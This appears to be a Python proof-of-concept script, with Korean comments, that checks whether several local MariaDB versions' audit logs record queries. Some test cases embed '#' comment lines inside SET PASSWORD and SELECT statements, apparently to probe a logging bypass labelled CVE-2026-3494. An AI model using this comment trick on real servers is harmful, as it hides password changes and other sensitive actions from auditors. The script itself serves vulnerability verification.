import pymysql
import time
import os
import re

# ANSI Color Codes
class Color:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[34m'  # 흰색 배경에서 잘 보이는 진한 파란색
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

TARGETS = [
    ("10.3.39", "127.0.0.1", 3306),
    ("11.8.5", "127.0.0.1", 3307),
    ("11.8.6", "127.0.0.1", 3308),
]

DB_USER = "u01"
DB_PASS = "Test1234!"

# 스크립트 위치 기준 절대 경로 설정
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

LOG_PATHS = {
    3306: os.path.join(BASE_DIR, "logs/103/server_audit.log"),
    3307: os.path.join(BASE_DIR, "logs/1185/server_audit.log"),
    3308: os.path.join(BASE_DIR, "logs/1186/server_audit.log"),
}

TEST_CASES = [
    (
        "TEST_CASE_1_NORMAL_SELECT",
        "SELECT host, user FROM mysql.user;",
        "mysql.user"
    ),
    (
        "TEST_CASE_2_A_ERROR_1146",
        "SELECT * FROM mysqql.user;",
        "mysqql.user"
    ),
    (
        "TEST_CASE_2_B_ERROR_1046",
        "SELECT * FROM user;",
        "select * from user"
    ),
    (
        "TEST_CASE_3_COMMENT_SET_PASSWORD",
        """SET PASSWORD
# CVE-2026-3494 Test
FOR 'u01'@'localhost' = PASSWORD('Test1234!');""",
        "SET PASSWORD"
    ),
    (
        "TEST_CASE_4_COMMENT_SELECT",
        """SELECT
# CVE-2026-3494 Test #2
HOST, USER FROM mysql.user;""",
        "CVE-2026-3494 Test #2"
    ),
]


def execute_query(conn, query):
    try:
        with conn.cursor() as cursor:
            cursor.execute(query)
        conn.commit()
    except Exception as e:
        print(f"    [!] Query Error: {e}")


def read_log(path):
    try:
        with open(path, "r") as f:
            return f.read()
    except:
        return ""


# SQL 추출 (MariaDB audit log 대응 핵심)
def extract_sql(log_text):
    # 이스케이프된 따옴표(\')를 포함한 전체 쿼리 내부 내용만 추출
    return re.findall(r"'((?:[^'\\]|\\.)*)'", log_text, re.DOTALL)


def normalize(text):
    return re.sub(r"\s+", " ", text).strip().lower()


def wait_for_flush(path):
    """
    MariaDB audit log flush latency 대응
    """
    time.sleep(2)
    return read_log(path)


def test_target(name, host, port):
    print(f"\n==============================")
    print(f"[*] Testing MariaDB {name}")
    print(f"==============================")

    log_path = LOG_PATHS[port]

    try:
        conn = pymysql.connect(
            host=host,
            port=port,
            user=DB_USER,
            password=DB_PASS,
            autocommit=True
        )

        base_log = read_log(log_path)

        for case_name, query, keyword in TEST_CASES:
            print(f"\n[+] {case_name}")

            execute_query(conn, query)

            final_log = wait_for_flush(log_path)

            # 신규 로그만 추출
            new_log = final_log[len(base_log):]

            sql_list = extract_sql(new_log)
            normalized_sql = [normalize(s) for s in sql_list]

            # 디버깅을 위해 추출된 SQL 확인 (필요 시 주석 해제)
            # if normalized_sql: print(f"    [DEBUG] Extracted SQL count: {len(normalized_sql)}")

            # keyword 검사 (정규화 기반)
            hit = any(normalize(keyword) in s for s in normalized_sql)

            # 결과 판정 및 상태 기호 설정
            status_symbol = f"{Color.END}" if hit else f"{Color.END}"
            status_text = f"{Color.GREEN}LOGGED{Color.END}" if hit else f"{Color.RED}NOT LOGGED{Color.END}"

            print(f"\n    [{status_symbol}] {Color.BOLD}Result: {status_text}{Color.END}")

            # 실제 발생한 로그 내용 출력 (가독성 개선)
            if new_log.strip():
                print(f"    {Color.BLUE}>> Actual Log:{Color.END}")
                for line in new_log.strip().split('\n'):
                    # 로그 내의 \n 문자를 실제 줄바꿈으로 변환하여 출력
                    formatted_line = line.replace('\\n', '\n       | ')
                    print(f"       | {formatted_line}")
            else:
                print(f"       {Color.BLUE}(No new log entry detected){Color.END}")

            base_log = final_log
            print(f"\n{Color.CYAN}{'='*60}{Color.END}")

        conn.close()

    except Exception as e:
        print(f"[ERROR] {e}")


def main():
    print("=== CVE-2026-3494 PoC (Stable Audit Verification v2) ===")

    for target in TARGETS:
        test_target(*target)


if __name__ == "__main__":
    main()